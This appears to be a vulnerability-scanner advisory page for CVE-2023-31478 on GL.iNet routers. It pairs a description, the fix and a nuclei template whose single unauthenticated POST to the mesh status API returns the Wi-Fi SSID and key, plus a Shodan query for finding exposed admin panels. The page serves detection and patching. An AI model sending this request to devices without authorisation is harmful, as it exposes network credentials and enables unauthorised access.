GL.iNET SSID Key Disclosure

highseverity

7.5CVSS score

29.7%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

An issue was discovered on GL.iNet devices before 3.216. An API endpoint reveals information about the Wi-Fi configuration, including the SSID and key.

Impact

Unauthenticated attackers can retrieve Wi-Fi SSID and password information through the mesh status API endpoint, potentially allowing unauthorized access to the wireless network and intercepting network traffic.

Fix

Update GL.iNET firmware to version 3.216 or later that requires authentication for the /api/router/mesh/status endpoint and protects Wi-Fi credentials.

How to confirm it

Send: POST /api/router/mesh/status
Positive when: contains "\"ssid\":" and "\"encryption\":" AND status 200

Run it with nuclei: nuclei -id CVE-2023-31478 -u <target>

The full check

id: CVE-2023-31478

info:
  name: GL.iNET SSID Key Disclosure
  author: DhiyaneshDK
  severity: high
  description: |
    An issue was discovered on GL.iNet devices before 3.216. An API endpoint reveals information about the Wi-Fi configuration, including the SSID and key.
  impact: |
    Unauthenticated attackers can retrieve Wi-Fi SSID and password information through the mesh status API endpoint, potentially allowing unauthorized access to the wireless network and intercepting network traffic.
  remediation: |
    Update GL.iNET firmware to version 3.216 or later that requires authentication for the /api/router/mesh/status endpoint and protects Wi-Fi credentials.
  reference:
    - https://www.gl-inet.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-31478
    epss-score: 0.29699
    epss-percentile: 0.9821
    cpe: cpe:2.3:o:gl-inet:gl-s20_firmware:*:*:*:*:*:*:*:*
  metadata:
    vendor: gl-inet
    product: gl-s20_firmware
    verified: true
    max-request: 1
    shodan-query: title:"GL.iNet Admin Panel"
  tags: cve,cve2023,gl-inet,disclosure,vkev,vuln

http:
  - raw:
      - |
        POST /api/router/mesh/status HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        mac=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"ssid":'
          - '"encryption":'
        condition: and

      - type: status
        status:
          - 200

References

https://www.gl-inet.com

Use this check only on systems you are authorised to test. Where the data comes from